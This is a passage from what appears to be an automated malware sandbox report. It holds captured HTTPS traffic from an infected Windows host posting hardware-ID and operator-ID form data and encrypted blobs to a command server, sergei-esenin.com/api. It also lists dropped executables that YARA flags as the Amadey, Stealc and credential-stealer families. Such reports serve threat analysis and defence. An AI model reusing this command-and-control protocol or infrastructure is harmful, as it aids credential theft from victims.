2024-10-24 02:59:11 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7u2jv4d9615c346iogm7bnelo3; expires=Sun, 16 Feb 2025 20:45:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Supc6ZLDXYWPJGP2BwaGIFU1rfmfz%2FV%2BFzqNj8HoZw7x98X9eAcgEULHxUGNPAp83XqfwIMKBuRNEAPuLVERQGIs%2F1pUaOTGu8J4V9TVWlhWQZoO7urZMOWHSFPHcF8zpGFsQA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b59c3a194755-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1169&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16140&delivery_rate=2458404&cwnd=229&unsent_bytes=0&cid=ad4367b5e12e8dda&ts=409&x=0"
2024-10-24 02:59:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:59:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	59434	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:59:12 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=liUt9oxqWf1ev7AlDktHLLlzDO_jA0SknoKqHxAhpdQ-1729738747-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-24 02:59:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:59:12 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-24 02:59:12 UTC	1027	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0g147hskgtuec30oupuj9bpiqf; expires=Sun, 16 Feb 2025 20:45:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MvuZsprpXYo6gXIojjGFPmfAcaYVISP9Q4TfZWa8cn%2Bu%2FX7shKxUeJkAgP%2FsDIllfKhdOwnlpg%2FmiMTTtCg880cdDM0tfnG3LmAasPuebA%2FwqOmcN9V1B1rOf8%2FtiWkLA%2BqeSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b5a2ffc3e766-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1906&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21020&delivery_rate=1450901&cwnd=239&unsent_bytes=0&cid=66136beb68288530&ts=537&x=0"
2024-10-24 02:59:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:59:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	59436	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:59:13 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=liUt9oxqWf1ev7AlDktHLLlzDO_jA0SknoKqHxAhpdQ-1729738747-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1243 Host: sergei-esenin.com
2024-10-24 02:59:13 UTC	1243	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:59:14 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kpeno79o4umb6pntbm193ior24; expires=Sun, 16 Feb 2025 20:45:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Frec5prRO3g%2F4pdQFQLUj2UjdewJQKOfU5D8gsI9odzLjdqLM0i5CWvZxsG5mPliU%2BG%2BupqDHhVI%2Bzm1tk5ZWPwtOufdk9FD7pqw1W155hdWZof1sJRkO63tNQx4WyvnCDLQYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b5aafb670ba7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1700&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2250&delivery_rate=1585112&cwnd=249&unsent_bytes=0&cid=e2f99f648ef1d5de&ts=524&x=0"
2024-10-24 02:59:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:59:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	59438	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:59:15 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=liUt9oxqWf1ev7AlDktHLLlzDO_jA0SknoKqHxAhpdQ-1729738747-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 22787 Host: sergei-esenin.com
2024-10-24 02:59:15 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:59:15 UTC	7456	OUT	Data Raw: 88 ce 17 39 da 39 25 ba 72 2c a6 76 31 fb 42 7b 29 2f b8 8a 77 ba f4 fd 4d 7c 04 d1 e0 4d 5b cc ab 36 86 ae 01 fe b8 b8 17 9c 00 87 a5 9d ae 35 3b 9e 0f 96 84 2a 9e f2 a5 1e b1 0d 90 7e 05 8a 76 01 fd 9d 71 3d bb 60 f9 1e 6f f9 1b b5 e2 47 cb 4d 8a 37 85 97 b6 15 30 09 bc 8f 66 16 d6 16 0d 08 28 2d 2e e8 e6 cc 35 ee 6a c9 31 a9 5f d3 06 81 43 43 7b a1 53 01 cd ac 5a 32 78 bc 27 74 c4 39 93 76 ba 55 14 46 86 88 a1 9f 6e 78 09 6d a6 8e 86 b2 fa db 46 d4 1c 63 5a 8b b4 1a a6 be 96 8a a4 18 a7 a6 61 25 83 1e 3d 61 2e 4d fd c5 58 29 b7 d1 77 e8 0a d4 40 69 60 c7 72 93 65 58 16 0b de 04 5b 57 31 09 46 96 67 b1 f2 d8 a5 ec e0 80 53 4c 39 c0 61 ef ea 62 4c fb 00 44 d9 0d 6f e8 36 82 df 0d 25 3b 29 77 79 27 f2 70 d6 5c 4e 92 c6 8f 8b 07 2f 91 43 9e 96 b5 d3 2a 76 Data Ascii: 99%r,v1B{)/wM\|M[65;~vq=`oGM70f(-.5j1_CC{SZ2x't9vUFnxmFcZa%=a.MX)w@i`reX[W1FgSL9abLDo6%;)wy'p\N/Cv
2024-10-24 02:59:15 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8k8hnj4f4citn67baqqv97334i; expires=Sun, 16 Feb 2025 20:45:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F0dU1fiLzVSpEzKu2tXRcWm8cIAlMsncFfMJ7Gk5ZEMQFpF%2FbAr9BftF3UcgOWfXmnOHu8tkzoOa4CrJCsKQ2VfImUyfGZmidLCAHv5PSBYehvxvelrqi9LqrADEjnnTl02Yzw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b5b429db6c43-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1284&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=23839&delivery_rate=2238021&cwnd=251&unsent_bytes=0&cid=0947011d419620ee&ts=662&x=0"
2024-10-24 02:59:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:59:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	59439	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:59:16 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=liUt9oxqWf1ev7AlDktHLLlzDO_jA0SknoKqHxAhpdQ-1729738747-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 02:59:16 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=02113C705D9B5A7BBE56353A434AD2B5
2024-10-24 02:59:16 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hf6au4096f5ip41v6u2l91c4ga; expires=Sun, 16 Feb 2025 20:45:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wd3E2nWGfq4rxUoI9V9zYC3tniYry39mBE5b%2FfFyUVL2i1h6foOwOAionvBiEEB6wA1AdTxu%2F5M%2B7Qo%2BbOshxHHqB7BFkNrGcu%2FZO7Cq5Wf1PL4xZylR5vaoFlbymKP6n1EZrw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b5bc7ed24766-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1840&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=1583378&cwnd=251&unsent_bytes=0&cid=f3d120238f06034b&ts=381&x=0"
2024-10-24 02:59:16 UTC	299	IN	Data Raw: 31 32 34 0d 0a 5a 50 34 6f 67 38 31 34 66 50 6f 37 6a 48 41 57 72 66 72 51 61 45 37 38 71 49 79 5a 6b 59 64 55 67 31 47 33 55 45 6e 32 62 68 45 2f 68 51 72 32 37 30 4a 65 6b 6b 2f 34 41 43 7a 78 31 59 78 48 66 38 53 64 6f 71 75 67 73 6e 71 79 59 49 52 2b 65 4d 41 79 50 67 6d 58 52 75 61 52 56 77 36 62 56 65 67 66 65 34 4f 66 71 41 31 73 30 49 72 71 37 62 4f 39 5a 4b 39 7a 30 6e 4a 7a 78 68 4d 39 48 39 78 64 6f 66 64 61 46 49 35 50 2f 45 70 4b 67 71 62 2f 57 58 62 4a 68 72 36 6f 70 4b 6c 6c 73 6d 4b 5a 59 58 2b 71 51 57 49 51 6d 30 6e 75 6b 56 63 4f 6d 31 58 6f 48 33 75 44 6e 36 67 4e 62 4e 43 4b 36 75 32 7a 76 57 53 76 63 39 4a 79 63 38 59 54 50 52 2f 63 58 61 48 33 57 68 53 4f 54 2f 78 4b 53 6f 4b 6d 2f 31 6c 32 79 59 61 2b 71 4b 53 70 5a 62 4a 69 6d 57 Data Ascii: 124ZP4og814fPo7jHAWrfrQaE78qIyZkYdUg1G3UEn2bhE/hQr270Jekk/4ACzx1YxHf8SdoqugsnqyYIR+eMAyPgmXRuaRVw6bVegfe4OfqA1s0Irq7bO9ZK9z0nJzxhM9H9xdofdaFI5P/EpKgqb/WXbJhr6opKllsmKZYX+qQWIQm0nukVcOm1XoH3uDn6gNbNCK6u2zvWSvc9Jyc8YTPR/cXaH3WhSOT/xKSoKm/1l2yYa+qKSpZbJimW
2024-10-24 02:59:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	22:57:06
Start date:	23/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe10000
File size:	2'930'688 bytes
MD5 hash:	85A42AFEBD3B50990C2588000AA36F8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:57:44
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe"
Imagebase:	0xb10000
File size:	1'931'264 bytes
MD5 hash:	04D82AD1CBB15929E9FF4B3B951227BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2564936700.0000000005040000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2606287990.0000000000B11000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:57:46
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb70000
File size:	1'931'264 bytes
MD5 hash:	04D82AD1CBB15929E9FF4B3B951227BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2596347151.0000000005270000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2637220274.0000000000B71000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:57:46
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xb70000
File size:	1'931'264 bytes
MD5 hash:	04D82AD1CBB15929E9FF4B3B951227BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2596824041.0000000005350000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2637269874.0000000000B71000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:58:00
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb70000
File size:	1'931'264 bytes
MD5 hash:	04D82AD1CBB15929E9FF4B3B951227BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2728686776.0000000005370000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:58:04
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe"
Imagebase:	0x530000
File size:	1'877'504 bytes
MD5 hash:	14A1F90B21FFB33B230A55A35C92F699
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2763572161.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2804824031.000000000127E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2803875794.0000000000531000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:58:14
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe"
Imagebase:	0x870000
File size:	2'930'688 bytes
MD5 hash:	85A42AFEBD3B50990C2588000AA36F8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2926177602.0000000001212000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2963743388.00000000059A7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2934344694.00000000059A7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2947463685.000000000121C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2926089186.00000000059A6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2910512234.00000000059A5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2914064693.00000000059A7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:58:23
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe"
Imagebase:	0x830000
File size:	1'877'504 bytes
MD5 hash:	14A1F90B21FFB33B230A55A35C92F699
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000003.2963698555.0000000005200000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.3021034052.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:58:25
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe"
Imagebase:	0x300000
File size:	2'742'272 bytes
MD5 hash:	4B01B088DC9716204A408AD75CCEF360
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:58:30
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe"
Imagebase:	0x870000
File size:	2'930'688 bytes
MD5 hash:	85A42AFEBD3B50990C2588000AA36F8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:58:32
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe"
Imagebase:	0x3c0000
File size:	919'552 bytes
MD5 hash:	5ED9138AF4A937507DFDA5A5729F17BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
